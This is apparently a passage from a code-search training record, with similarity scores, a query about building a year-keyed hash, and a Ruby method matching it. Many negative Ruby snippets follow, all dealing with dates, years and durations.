"0.52021587",
"0.51994294",
"0.51754206",
"0.51736474",
"0.51704234",
"0.51639104",
"0.51600933",
"0.5158477",
"0.51187855",
"0.51085794",
"0.5104394",
"0.510277",
"0.50982094",
"0.50892234",
"0.508026",
"0.50761074",
"0.50757456",
"0.5070199",
"0.50685126",
"0.5064271",
"0.5058218",
"0.5048525",
"0.503707",
"0.5034288",
"0.50301844",
"0.50098854",
"0.49901336",
"0.49863794",
"0.49840957",
"0.49758494",
"0.497408",
"0.49719945",
"0.4971124",
"0.49677852",
"0.4958779",
"0.49491516",
"0.49487078",
"0.4945386",
"0.4939512",
"0.4939131",
"0.49351287",
"0.49248633",
"0.49248633",
"0.49226215",
"0.49131703",
"0.49115822",
"0.49091372",
"0.49014878",
"0.4892352",
"0.48914477",
"0.48848528",
"0.48827142",
"0.48740914",
"0.4869289",
"0.48596072",
"0.48543617",
"0.48513347",
"0.48463935",
"0.48348883",
"0.48297966",
"0.48274186",
"0.4826933",
"0.48267594",
"0.48194382",
"0.48161927",
"0.48154628",
"0.48132515",
"0.48132515",
"0.4807821",
"0.48069704",
"0.48069295",
"0.48068866",
"0.48027682",
"0.4801993"
] | 0.66025716 | 1 |
returns a hash of (year, zeroBigDecimal) with one year for each year this project spans. | def initialized_year_hash
year_in_range = self.startDate.year
year_hash = {}
while year_in_range <= self.endDate.year
year_hash[year_in_range] = BigDecimal(0.0, 10)
year_in_range += 1
end
year_hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def activity_year_fractions_hash(activity)\n year_fractions = {}\n total_activity_days = activity.endDate - activity.startDate # Cannot be zero, by :validDate\n range_start = activity.startDate\n while range_start.year < activity.endDate.year\n range_end = Date.new(range_start.year + 1)\n year_fractions[range_start.year] = ((range_end - range_start) / total_activity_days)\n range_start = range_end\n end\n year_fractions[range_start.year] = ((activity.endDate - range_start) / total_activity_days)\n year_fractions\n end",
"def graduation_rate_by_year\n year = @graduation_rate.map { |hash| hash.fetch(:timeframe).to_i }\n data = @graduation_rate.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def hash\n\t\t\"#{@year}#{@month}\".to_i\n\tend",
"def hash_days_number year\n hash = { 1 => 31, 2 => 28, 3 => 31, 4 => 30, 5 => 31, 6 => 30,\n 7 => 31, 8 => 31, 9 => 30, 10 => 31, 11 => 30, 12 => 31 }\n\n hash[2] = 29 if leap? year\n hash\nend",
"def participation_by_year\n year = @pupil_enrollment.map { |hash| hash.fetch(:timeframe).to_i }\n data = @pupil_enrollment.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def year\n return self.to_a[IDX_YEAR]\n end",
"def years\n self.to_i * 31_557_600\n end",
"def compute_yearwise(incomes_or_deductions)\n income_deduction_per_year = Hash.new(0)\n\n incomes_or_deductions.each do |income_deduction|\n working_days_in_year = Float(52*5)\n daily_income = 0\n\n case income_deduction.frequency\n when \"daily\"\n daily_income = income_deduction.amount_in_cents\n when \"weekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/52)\n when \"biweekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/26)\n when \"monthly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/12)\n when \"quarterly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/4)\n when \"half_yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/2)\n when \"yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year)\n end\n\n income_deduction.start_date = TimeKeeper.date_of_record.beginning_of_year if income_deduction.start_date.to_s.eql? \"01-01-0001\" || income_deduction.start_date.blank?\n income_deduction.end_date = TimeKeeper.date_of_record.end_of_year if income_deduction.end_date.to_s.eql? \"01-01-0001\" || income_deduction.end_date.blank?\n years = (income_deduction.start_date.year..income_deduction.end_date.year)\n\n years.to_a.each do |year|\n actual_days_worked = compute_actual_days_worked(year, income_deduction.start_date, income_deduction.end_date)\n income_deduction_per_year[year] += actual_days_worked * daily_income\n end\n end\n\n income_deduction_per_year.merge(income_deduction_per_year) { |k, v| Integer(v) rescue v }\n end",
"def year_metrics(metrics = [])\n metric_hash = {}\n\n metrics.each do |metric|\n if metric_hash[metric[:year]].present?\n metric_hash[metric[:year]] += metric[:metric]\n else\n metric_hash[metric[:year]] = metric[:metric]\n end\n end\n\n metric_hash\n end",
"def associated_years\n years = \"\"\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \n years << start_date.year.to_s if !start_date.blank?\n years << ' '\n years << event_finish.year.to_s if !event_finish.blank?\n \n #remove duplicates and trim off spaces\n unique_years = years.strip.split(' ').uniq.sort\n result = unique_years\n if unique_years.length > 1\n result = []\n for y in unique_years[0]..unique_years[1]\n result << y\n end\n end\n result\n #now we have the 2004-2008 case to deal with, we wish to create [2004,2005,...2008]\n \n end",
"def get_project_fiscal_years project\n if project.blank?\n []\n elsif project.multi_year?\n a = []\n (current_fiscal_year_year..current_fiscal_year_year + 49).map{ |y| [fiscal_year(y), y] }.each do |fy|\n if fy[1] < project.fy_year\n next\n else\n a << fy\n end\n end\n a\n else\n [[project.fiscal_year, project.fy_year]]\n end\n end",
"def hash\n [date, net_asset_value, beta_vs_spy, trailing_one_month_return_split_and_dividend, trailing_one_month_return_split_only, trailing_one_year_return_split_and_dividend, trailing_one_year_return_split_only, trailing_one_year_volatility_annualized, trailing_three_year_annualized_return_split_and_dividend, trailing_three_year_annualized_return_split_only, trailing_three_year_volatility_annualized, trailing_five_year_annualized_return_split_and_dividend, trailing_five_year_annualized_return_split_only, trailing_five_year_volatility_annualized, trailing_ten_year_annualized_return_split_and_dividend, trailing_ten_year_annualized_return_split_only, inception_annualized_return_split_and_dividend, inception_annualized_return_split_only, calendar_year_5_return_split_and_dividend, calendar_year_5_return_split_only, calendar_year_4_return_split_and_dividend, calendar_year_4_return_split_only, calendar_year_3_return_split_and_dividend, calendar_year_3_return_split_only, calendar_year_2_return_split_and_dividend, calendar_year_2_return_split_only, calendar_year_1_return_split_and_dividend, calendar_year_1_return_split_only, calendar_year_to_date_return_split_and_dividend, calendar_year_to_date_return_split_only, etf].hash\n end",
"def online_participation_by_year\n year = @online_enrollment.map { |hash| hash.fetch(:timeframe).to_i }\n data = @online_enrollment.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def kindergarten_participation_by_year\n year = @kindergartners.map { |hash| hash.fetch(:timeframe).to_i }\n data = @kindergartners.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def get_year_ary\n (Date.today.year-99..Date.today.year).inject([]){|x,y| x << y}.reverse\n end",
"def index\n @team_years = TeamYear.all\n\n #\n ## Get TeamYears grouped by year\n #\n @year_groups = {}\n\n # get unique team_years\n @yrs = @team_years.map{|ty| ty.year }.uniq!\n # for each unique season\n @yrs.each{|yr|\n # create the array we'll feed the final hash\n @year_bucket = []\n # for each team_season in each year\n @team_years.where( year: yr).each{|row|\n @year_bucket << row.attributes\n }\n @year_groups[yr.to_sym] = @year_bucket#.sort_by{|hsh| -hsh[:year] }\n }\n\n\n end",
"def build_header_year\n \"#{begin_date.year}/#{end_date.year}\"\n end",
"def year\n self._id['year']\n end",
"def years() 365 * days end",
"def years; self * YEAR; end",
"def this_year\n year(Time.now)\n end",
"def make_year(year, bias); end",
"def years ; self * 365.days ; end",
"def faith_years\n (Time.now.year - 1991).ordinalize\n end",
"def years\n\t\treturn (self * 365.25.days).to_i\n\tend",
"def years\n\t\treturn (self * 365.25.days).to_i\n\tend",
"def get_years\n year = slice_year\n till_year = year.to_i - @past_years\n years = []\n year.to_i.downto(till_year) { |y| years << y }\n years\n end",
"def year\n (seconds_since_epoch / Y_SECS).to_i\n end",
"def expanded_years\n @expanded_years ||= work.date_of_work.collect { |date_of_work| years_for_date_of_work(date_of_work) }.flatten\n end",
"def year_array\n return ['x'] +(@earliest_year..@latest_year).to_a\n end",
"def raw_year\n start_on.year\n end",
"def start_year\n Time.now.year - 75\n end",
"def year\n ((semester - 1) / 2) + 1\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def year\n self.class.get_year(@bits)\n end",
"def totals_by_month_year\n revenue = Hash.new { |hash, key| hash[key] = {} }\n leases_by_year.each do |lease|\n lease.each do |year, months|\n months.each do |month, rent|\n revenue[year][month] ? revenue[year][month] += rent : revenue[year][month] = rent\n end\n end\n end\n revenue\n end",
"def year() end",
"def year; end",
"def year; end",
"def gen_stats\n object_stats = {}\n object.gen_stats.each do |stat|\n object_stats[stat.as_json['start_year']] = stat.as_json.except('school_id', 'created_at', 'updated_at', 'start_year')\n end\n object_stats\n end",
"def year(input) = new_year(input).year - 621",
"def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end",
"def add_year_growth(coins)\r\n \r\n coins.each do |x|\r\n \r\n puts 'x.name: ' + x.name if @debug\r\n \r\n if @growth.has_key?(x.name) then\r\n x.percent_change_year = @growth[x.name].to_s\r\n else\r\n x.percent_change_year = '-'\r\n end\r\n end \r\n \r\n coins\r\n \r\n end",
"def hash\n [ticker, company_name, industry_group_number, industry_group_name, fiscal_year_0, fiscal_year_1, fiscal_year_2, company_last_5_year_actual, company_fiscal_year_1_vs_fiscal_year_0, company_fiscal_year_2_vs_fiscal_year_1, company_long_term_growth_mean, company_fiscal_year_1_forward_price_to_earnings, industry_last_5_year_actual, industry_fiscal_year_1_vs_fiscal_year_0, industry_fiscal_year_2_vs_fiscal_year_1, industry_long_term_growth_mean, industry_fiscal_year_1_forward_price_to_earnings, sp500_last_5_year_actual, sp500_fiscal_year_1_vs_fiscal_year_0, sp500_fiscal_year_2_vs_fiscal_year_1, sp500_long_term_growth, sp500_fiscal_year_1_price_to_earnings, company].hash\n end",
"def year\n @year ||= TODAY.year\n end",
"def year\n @date_time_value.year\n end",
"def year\n @date_time_value.year\n end",
"def year\n return @year\n end",
"def get_year_array\n accurate_range = Timesheet.used_range( true )\n\n # Does the range's start date lie within a commerical week which actually\n # starts in the previous year?\n\n first_date = accurate_range.first\n first_day_of_week = Timesheet.date_for( first_date.year, first_date.cweek, TimesheetRow::FIRST_DAY, true )\n start_year = first_day_of_week.year\n\n # Similar logic for the range's last date.\n\n if ( accurate_range.last > Date.today ) # Implies no work packets => Timesheet.used_range returned an allowed range instead.\n last_date = Date.today\n else\n last_date = accurate_range.last\n end\n\n last_day_of_week = Timesheet.date_for( last_date.year, last_date.cweek, TimesheetRow::LAST_DAY, true )\n end_year = last_day_of_week.year\n\n years = []\n year_range = ( start_year..end_year )\n\n # Build the years array backwards so newer dates are encountered\n # first - a user is more likely to be interested in current data\n # than in ancient history.\n\n year_range.each do | year |\n years.unshift( ReportYear.new( year, accurate_range ) )\n end\n\n return years\n end",
"def hours_in_a_year\n return 365.25 * 24\nend",
"def add_year_to_dictionary(year)\n @working_dictionary = @@dictionary[year]\n end",
"def w_year; end",
"def local_year(planet)\n (@formation_year / planet.orbital_period).round(2)\n end",
"def artist_years\n self.artists.reduce(0) do |accumulator, artist|\n accumulator += artist.years_active\n end\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def hours_in_year\n 24 * 365\nend",
"def build_school_year(year=nil)\n return SchoolYear.new if year.blank?\n\n starting_day = (year.is_a? Date) ? year : start_date_from_year(year)\n SchoolYear.new(start_date: starting_day, end_date: starting_day.next_year)\n end",
"def year\n return @t_year\n end",
"def year(index)\n i = get_field_index_by_external_id(index,@fields[:year])\n fields(index, i).to_i unless i.nil?\n end",
"def update_year(select_hash, years_delta)\n select_hash.each{|k,v| select_hash[k] = v - years_delta}\nend",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n start_year.to_s\n else\n start_year.to_s + '-' + end_year.to_s\n end\n end",
"def new_year(input)\n equinox = Integer === input ? @astro.solar_event(:march_equinox, input) : @astro.previous(:march_equinox, input)\n date = local_date(equinox)\n equinox.localtime(utc_offset).hour < 12 ? date : date + 1\n end",
"def index\n @histories = History.where(fandom_id: params[:fandom_id]).order(event_date: :desc)\n \n hash = {}\n @histories.unscope(:order).order(event_date: :asc).each do |history|\n hash[history.event_date.year.to_s.to_sym] = history.event_date.strftime('%F')\n end\n @years_hash = hash.to_a.reverse.to_h\n end",
"def year\n 2020\n end",
"def years_needed\n 30\n end",
"def buildTeamToStandingsMap(year)\n teamToStandingsMap = {}\n\n MlbStanding.where(year: year).each do |mlbStanding|\n teamToStandingsMap[mlbStanding.mlb_team_id] = mlbStanding\n end\n return teamToStandingsMap\n end",
"def pub_year\n # use the cached year if there is one\n if @pub_year\n return nil if @pub_year == ''\n\n return @pub_year\n end\n\n dates = pub_dates.map do |f_date|\n # remove ? and []\n if f_date.length == 4 && f_date.end_with?('?')\n f_date.tr('?', '0')\n else\n f_date.delete('?[]')\n end\n end\n\n if dates\n # try to find a date starting with the most normal date formats and progressing to more wonky ones\n @pub_year = get_plain_four_digit_year(dates) ||\n get_u_year(dates) || # Check for years in u notation, e.g., 198u\n get_double_digit_century(dates) ||\n get_bc_year(dates) ||\n get_three_digit_year(dates) ||\n get_single_digit_century(dates)\n return @pub_year if @pub_year\n end\n @pub_year = ''\n nil\n end",
"def author_year_index\n @author_year_index ||= generate_author_year_index\n end",
"def years ; Duration[self * 365 * 86400, :years] ; end",
"def w_year\n @obj.date.strftime(\"%G\")\n end",
"def index\n @year = params.has_key?(:year) ? params[:year].to_i : 2017\n\n @calendars = (Calendar.where(year_c: @year).order(:date_c).all)\n @hash = Hash.new{ |h, k| h[k] = [] }\n @calendars.each do |s|\n @hash[s.date_c.month] << s\n end\n\n end",
"def amy_years\n (Time.now.year - 1977).ordinalize\n end",
"def author_year_index\n @author_year_index ||= generate_author_year_index\n end",
"def to_years; Rational === @val ? @val/12 : @val/12.0 end",
"def start_year\n @start_year ||=\n (Atlas::Dataset.exists?(area_code) &&\n Atlas::Dataset.find(area_code).analysis_year) ||\n 2019\n end",
"def years_count\n ((@end_date - @start_date).to_f / 365).to_f.round(1)\n end",
"def year_integer\n return self.year_of_publication if !self.year_of_publication.nil?\n return self.source.year if !self.source_id.nil?\n nil\n end",
"def thisYear\n\t\t\t@this_year ||= Date.current.year\n\t\tend",
"def school_years\n load_school_years\n @school_years.sort { |s1, s2| s1.start_date.year <=> s2.start_date.year } \n end",
"def century(year)\n century = (year.to_f) / 100\n \n if century != (year / 100)\n century = (century + 1).to_i.to_s\n else\n century = century.to_i.to_s\n end\n \n endings = {st: [1],\n nd: [2],\n rd: [3],\n th: [4, 5, 6, 7, 8, 9, 0]\n }\n \n endings.each do |k, v|\n if v.include?(century.to_i.digits.reverse.last)\n century << k.to_s\n end\n end\n \n century\nend",
"def year=(value)\n @year = value\n end",
"def min_year\n 2015\n end",
"def create_yearly_data\n number = @slide_number.to_i + 1\n yearly_data = Nokogiri::HTML(\n open(\n \"#{ENV['API_DOMAIN_2']}#{Time.now.year}-horoscope\"\n )\n ).css(\"div.shareable-section-wrapper.shareable-yearly\").last\n return {} if yearly_data.blank?\n inner_data = yearly_data.css(\"div[#{number}] p\")\n final_data = \"\"\n inner_data.css(\"p\").each do |para|\n final_data = final_data + para.text + \"</br></br></t>\"\n end\n\n data = {\n sign: @sign_name.to_s,\n duration: \"yearly\",\n horoscope_text: final_data\n } if final_data\n Horoscope.create(data) if final_data and data\n end",
"def facet_by_range(arr)\n interval = Date.current.year - LOWER_BOUND_YEAR\n\n arr.select { |a| a[\"key_as_string\"].to_i <= Date.current.year }[\n 0..interval\n ].\n map do |hsh|\n {\n \"id\" => hsh[\"key_as_string\"],\n \"title\" => hsh[\"key_as_string\"],\n \"count\" => hsh[\"doc_count\"],\n }\n end\n end",
"def initialize(year)\n @year = year\n end",
"def js_year(year)\n [year,1,1].compact.join(',')\n end",
"def buildTeamToWinMap(year)\n teamToWinMap = {}\n MlbWin.where(year: year).each do |win|\n teamToWinMap[win.mlb_team_id] = win\n end\n return teamToWinMap\n end",
"def set_hs_projections\n # buildYearMaxed is defined in private methods\n enrollment_projection_by_boro = CeqrData::ScaEProjectionsByBoro.version(\n data_package.table_for(\"sca_e_projections_by_boro\")\n ).enrollment_projection_by_boro_for_year(\n buildYearMaxed.to_s, project.borough\n )\n\n self.hs_projections = enrollment_projection_by_boro.map do |pr|\n {\n hs: pr[:hs],\n year: pr[:year],\n borough: pr[:borough]\n }\n end\nend",
"def year_name(number); end",
"def calculate_least_common_year\n self.calculate_plays_by_year.select{ |year,times_played| times_played > 0 }.sort_by{ |year, times_played| times_played }.first\n end",
"def year\n self.range('year')\n end",
"def skel_yearly( path_storage, section_path )\n entry_range = path_storage.find\n first_time, last_time = entry_range.last.created, entry_range.first.created\n years = (first_time.year..last_time.year).collect do |y|\n [ Time.mktime( y, 1, 1 ), Time.mktime( y + 1, 1, 1 ) - 1 ]\n end\n years.extend Hobix::Enumerable\n years.each_with_neighbors do |prev, curr, nextm| \n entries = path_storage.within( curr[0], curr[1] )\n page = Page.new( curr[0].strftime( \"%Y/index\" ), section_path )\n page.prev = prev[0].strftime( \"%Y/index\" ) if prev\n page.next = nextm[0].strftime( \"%Y/index\" ) if nextm\n page.timestamp = curr[1]\n page.updated = path_storage.last_updated( entries )\n yield :page => page, :entries => entries\n end\n end",
"def year\n end",
"def facet_year_group_for_solr\n result = \"\"\n years = associated_years\n logger.debug \"CHECKING: #{years}\"\n current_year = Time.now.year\n if years.length > 0\n #logger.debug \"YGFS:T1\"\n for year_string in years\n # logger.debug \"YGFS:T2\"\n year = year_string.to_i\n if year == current_year\n # logger.debug \"YGFS:T3 - current year match\"\n result << \"current \"\n elsif year == (current_year+1)\n # logger.debug \"YGFS:T4 - next year match\"\n result << \"next \"\n elsif year < (current_year)\n # logger.debug \"YGFS:T5 - previous years\"\n result << \"previous \"\n elsif year >> (current_year + 1)\n # logger.debug \"YGFS:T6 - future past next\"\n result << \"future \"\n end\n end\n #no years found\n else \n # logger.debug \"YGFS:T7 - none found\"\n result = \"none \"\n end\n \n # logger.debug \"YGFS: #{years} => #{result}\"\n result.strip.split(' ').uniq.sort.join(' ')\n end",
"def fetch_year_start_prices(coins)\r\n \r\n coins.inject({}) do |r, coin| \r\n\r\n day1 = '01-01-' + @year.to_s\r\n puts 'coin: ' + coin.name.inspect if @debug\r\n \r\n begin\r\n \r\n #a = Coinmarketcap.get_historical_price(coin.name.gsub(/ /,'-'), \r\n # day1, day1)\r\n price = @cq.historical_price coin.symbol, day1\r\n \r\n rescue\r\n puts 'warning : ' + coin.name.inspect + ' ' + ($!).inspect\r\n end\r\n\r\n if price then\r\n \r\n r.merge({coin.name => price.to_f})\r\n else\r\n r\r\n end\r\n \r\n end\r\n \r\n end",
"def year(time)\n time = Fatboy::Helpers.month_format(time.utc)\n store = Fatboy::Helpers.format_store(@model_name, time)\n get_score(store)\n end",
"def year\n Time.zone.now.year\n end",
"def populate_public_holiday_collection_for_year(year)\n return if @generated_years.include?(year) # don't generate if we've already done it\n @public_holiday_specifications.each do |phs|\n next if !phs.applies_to_year?(year)\n @public_holiday_collection << PublicHoliday.new(phs, year)\n end\n @generated_years << year # add to the list of years we've generated\n @public_holiday_collection.sort!\n populate_public_holiday_hash\n adjust_carry_forwards\n populate_holidays_brought_forward_from_next_year(year + 1)\n end",
"def search_hash year, subject_id\n hash = {}\n hash[:year] = year unless year.empty?\n hash[:subject_id] = subject_id unless subject_id.empty?\n hash[:school_id] = current_user.school.id if current_user.student?\n return hash\n end",
"def year(year_range = (1930..1950))\n rand(year_range)\nend"
] | [
"0.6363502",
"0.61812645",
"0.61228144",
"0.6122274",
"0.6098065",
"0.60710746",
"0.60159653",
"0.5984587",
"0.5910871",
"0.5897085",
"0.5861707",
"0.5777073",
"0.57499504",
"0.5746127",
"0.5731222",
"0.5730017",
"0.5729096",
"0.56974494",
"0.56662005",
"0.5659861",
"0.5646614",
"0.56152785",
"0.56149995",
"0.5614223",
"0.5613254",
"0.5613254",
"0.5603871",
"0.5600414",
"0.5575147",
"0.55595696",
"0.5543568",
"0.554166",
"0.5530394",
"0.55221254",
"0.5515976",
"0.54927915",
"0.54874444",
"0.5474283",
"0.5474283",
"0.54720193",
"0.5442488",
"0.5440914",
"0.54355717",
"0.54207516",
"0.54176575",
"0.5410943",
"0.5410943",
"0.5410553",
"0.53968525",
"0.53831947",
"0.5381308",
"0.5368096",
"0.53412336",
"0.53391856",
"0.53299236",
"0.5326404",
"0.53260803",
"0.53243405",
"0.53187424",
"0.5316378",
"0.5314964",
"0.5311404",
"0.5305576",
"0.5303885",
"0.53036296",
"0.5297157",
"0.5294057",
"0.5293713",
"0.52748543",
"0.5274489",
"0.52727944",
"0.52725875",
"0.52647877",
"0.52617365",
"0.5249551",
"0.5244848",
"0.52354026",
"0.5234263",
"0.5230086",
"0.5226122",
"0.5224759",
"0.5218932",
"0.5208845",
"0.51863146",
"0.5184434",
"0.51788396",
"0.51776505",
"0.51733595",
"0.5171327",
"0.51673",
"0.5166142",
"0.5160233",
"0.5153288",
"0.51466745",
"0.51432544",
"0.5136033",
"0.5133141",
"0.51270014",
"0.5125858",
"0.512076"
] | 0.7543179 | 0 |
given an activity, returns a hash of (year, fraction of activity's time) across the activity's start and end dates. Note this is inclusive of the startDate, exclusive of the endDate. | def activity_year_fractions_hash(activity)
year_fractions = {}
total_activity_days = activity.endDate - activity.startDate # Cannot be zero, by :validDate
range_start = activity.startDate
while range_start.year < activity.endDate.year
range_end = Date.new(range_start.year + 1)
year_fractions[range_start.year] = ((range_end - range_start) / total_activity_days)
range_start = range_end
end
year_fractions[range_start.year] = ((activity.endDate - range_start) / total_activity_days)
year_fractions
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialized_year_hash\n year_in_range = self.startDate.year\n year_hash = {}\n while year_in_range <= self.endDate.year\n year_hash[year_in_range] = BigDecimal(0.0, 10)\n year_in_range += 1\n end\n year_hash\n end",
"def hours_per_day(entries)\n hours_per_day = Hash.new(0.0)\n entries.each do |entry|\n hours_per_day[entry[:start].to_date] += (entry[:end] - entry[:start]) / 3600.0\n end\n hours_per_day\nend",
"def hash\n [duration, rrule, start].hash\n end",
"def hash\n [activity_id, blueprint_id, blueprint_location_id, blueprint_type_id, completed_character_id, completed_date, cost, duration, end_date, facility_id, installer_id, job_id, licensed_runs, output_location_id, pause_date, probability, product_type_id, runs, start_date, station_id, status, successful_runs].hash\n end",
"def hash\n [start_offset_seconds, end_offset_seconds, scheduled_activity_code_id, scheduled_activity_category, actual_activity_category, system_presence, routing_status, impact, secondary_presence_lookup_id].hash\n end",
"def daily_activity_duration(activity)\n self.timeblocks_today\n .where(activity_id: activity)\n .sum(:duration) +\n ((Time.now - self.timeblocks_today\n .where(activity_id: activity,\n endtime: nil)\n .first.starttime rescue 0)).to_i\n end",
"def to_hash\n {:years=>@years, :months=>@months, :days=>@days, :hours=>@hours, :minutes=>@minutes, :seconds=>@seconds, :sign=>@sign}\n end",
"def build_ics_time(booking)\n times = Hash.new\n start_date = booking.startdate\n end_date = booking.enddate\n start_time = booking.starttime\n end_time = booking.endtime\n\n dtstart = Time.new start_date.year,start_date.month,start_date.day,start_time.hour,start_time.min,start_time.sec\n dtend = Time.new start_date.year,start_date.month,start_date.day,end_time.hour,end_time.min,end_time.sec\n dtstamp = Time.now\n last_modified = Time.now\n\n times.store :dtstart,dtstart.getutc\n times.store :dtend,dtend.getutc\n times.store :dtstamp, dtstamp.getutc\n times.store :last_modified, last_modified.getutc\n\n return times\n\n end",
"def occurrence_hash(default_duration) #:nodoc:\n date_time = self.to_ri_cal_date_time_value\n {:start => date_time,\n :end => date_time.advance(:hours => 24, :seconds => -1)}\n end",
"def get_batch_hash(start_ts, end_ts)\n return {\n 'errors' => 0,\n 'http_code_distribution' => Hash.new(0),\n 'latency_distribution' => Hash.new(0),\n 'latency_sum' => 0,\n 'requests' => 0,\n 'start_ts' => start_ts,\n 'end_ts' => end_ts,\n 'threads' => nil\n }\n end",
"def hash\n [activity_id, activity_type_code, subject, actual_start, actual_end, state_code, status_code, scheduled_start, scheduled_end, owner_id, description, regarding_object_id, regarding_object_id_name, regarding_object_logical_name, owner_full_name, contact_id, contact_full_name, call_reason_status_name, decline_reason_status_name, call_result_status_name, party_id, activity_party_id, party_id_name, party_object_type_code, is_phone_call, next_call_date, campaign_name, cust_name, product_name, owner_avatar].hash\n end",
"def hash\n [schedule_id, retention_period, schedule_interval_type, repeat_interval, start_date, start_time, end_time, days_of_week, day_of_month, weekday_of_month].hash\n end",
"def years_count\n ((@end_date - @start_date).to_f / 365).to_f.round(1)\n end",
"def hash\n\t\t\"#{@year}#{@month}\".to_i\n\tend",
"def to_hash(*a)\n {\"history\" => {\"record_count\" => @record_count, \"month\" => @month, \"year\" => @year}}\n end",
"def hash\n [day, from, to].hash\n end",
"def activity_on_date_range(activity, start, finish)\n get(\"/user/#{@user_id}/activities/#{activity}/date/#{format_date(start)}/#{format_date(finish)}.json\")\n end",
"def compute_date_stats tweets\n dates = {}\n tweets.each do |x|\n rec = dates[x.created_at.to_date] ||= 0\n rec+=1\n dates[x.created_at.to_date] = rec\n end\n dates\n end",
"def hash\n [id, period_apply_to, year, number_future_periods, type, description, first_period_end_date, monthly_period_ends, semi_monthly_first_period, semi_monthly_second_period, semi_monthly_last_day_flag, last_day_flag, days_past_end_date, _info].hash\n end",
"def make_params( begin_year=nil, begin_month=nil, begin_day=nil, end_year=nil, end_month=nil, end_day=nil)\n {date_coverage_begin_year: begin_year,\n date_coverage_begin_month: begin_month,\n date_coverage_begin_day: begin_day, \n date_coverage_end_year: end_year,\n date_coverage_end_month: end_month,\n date_coverage_end_day: end_day} \nend",
"def to_hash\n # fields\n result = {\n 'rcpt' => @timeline.recipient_id,\n 'routing' => @routing_kind,\n 'activity' => @activity.to_hash,\n }\n\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end",
"def get_start_end_time_by_format(start_movie_time, movie_duration)\n start_time = DateUtils.epoch_to_i_hour_format(start_movie_time)\n end_time = start_movie_time + movie_duration.minutes\n end_time = DateUtils.epoch_to_i_hour_format(end_time)\n {start_hour: start_time, end_hour: end_time}\n end",
"def online_participation_by_year\n year = @online_enrollment.map { |hash| hash.fetch(:timeframe).to_i }\n data = @online_enrollment.map { |hash| hash.fetch(:data) }\n Hash[year.zip(data.map { |num| truncate(num) })]\n end",
"def create_obj_hash(type, activity, children)\n a_hash = activity\n if (type == \"activity\")\n a_id = activity[\"activity_id\"]\n temp_id = a_id\n temp_a = Activity.find(temp_id)\n a = Activity.find(a_id)\n a_hash[\"name\"] = a.name\n parent_type = a.parent_type\n while parent_type != \"Category\"\n temp_a = Activity.find(temp_id)\n temp_id = temp_a.parent_id\n parent_type = temp_a.parent_type\n end\n a_hash[\"category\"] = Category.find(temp_a.parent_id).name\n else\n a_hash[\"activity_id\"] = nil\n a_hash[\"name\"] = activity[\"name\"]\n end\n \n unless children.nil?\n a_hash[\"children\"] = children\n a_hash[\"value\"] = 0\n a_hash[\"uncertain_lower\"] = 0\n a_hash[\"uncertain_upper\"] = 0\n children.each { |child|\n a_hash[\"value\"] += child[\"value\"]\n a_hash[\"uncertain_lower\"] += child[\"uncertain_lower\"]\n a_hash[\"uncertain_upper\"] = child[\"uncertain_upper\"]\n }\n else\n total_impact = Impact.calc_impact(type, a_hash)\n total_uncertainty_l, total_uncertainty_u = Impact.calc_uncertainties(type, a_hash)\n a_hash[\"value\"] = total_impact\n a_hash[\"uncertain_lower\"] = total_uncertainty_l\n a_hash[\"uncertain_upper\"] = total_uncertainty_u\n end\n return a_hash\n end",
"def get_class_time(yoga_class_date, start_time, duration)\n class_time = Hash.new\n month = 0\n year = 0\n day = 0\n\n if yoga_class_date.include?(\"-\")\n # Ex. August-07-16\n yoga_class_date = yoga_class_date.scan(/\\b\\w+-\\d+-\\d+/).first.split(\"-\")\n month = Date::MONTHNAMES.index(yoga_class_date[0])\n day = yoga_class_date[1].to_i\n year = (\"20\" + yoga_class_date[2]).to_i\n else\n # Ex. August 07, 2016\n yoga_class_date = yoga_class_date.scan(/\\b\\w+\\s\\d+,\\s\\d+/).first.split(\",\")\n month_and_day = yoga_class_date[0].split(\" \")\n month = Date::MONTHNAMES.index(month_and_day[0])\n day = month_and_day[1].to_i\n year = yoga_class_date[1].to_i\n end\n \n duration = convert_duration_to_nums(duration)\n\n start_time = DateTime.parse(start_time)\n end_time = start_time + (duration[:hour]/24.0) + (duration[:minutes]/1440.0)\n Time.zone = \"America/Vancouver\"\n class_time[:start] = Time.zone.local(year, month, day, start_time.hour, start_time.minute, 0)\n class_time[:end] = Time.zone.local(year, month, day, end_time.hour, end_time.minute, 0)\n class_time\n end",
"def hash\n [period, rrule, type, until_date, until_occurrences, week_days].hash\n end",
"def get_petition_signatures_activity\n @petition_signatures_activity = PetitionSignature.where(created_at: time_range).order('created_at ASC')\n @grouped_petition_signatures_activity = @petition_signatures_activity.group_by(&:petition_id).map{|k,v| [k,v]}\n end",
"def average_duration(contacts, period_start_field, period_end_field)\n contacts.select(\"ROUND(AVG(EXTRACT(EPOCH FROM contacts.#{period_end_field}- contacts.#{period_start_field}))) AS avg\")[0]['avg'] || 0\n end",
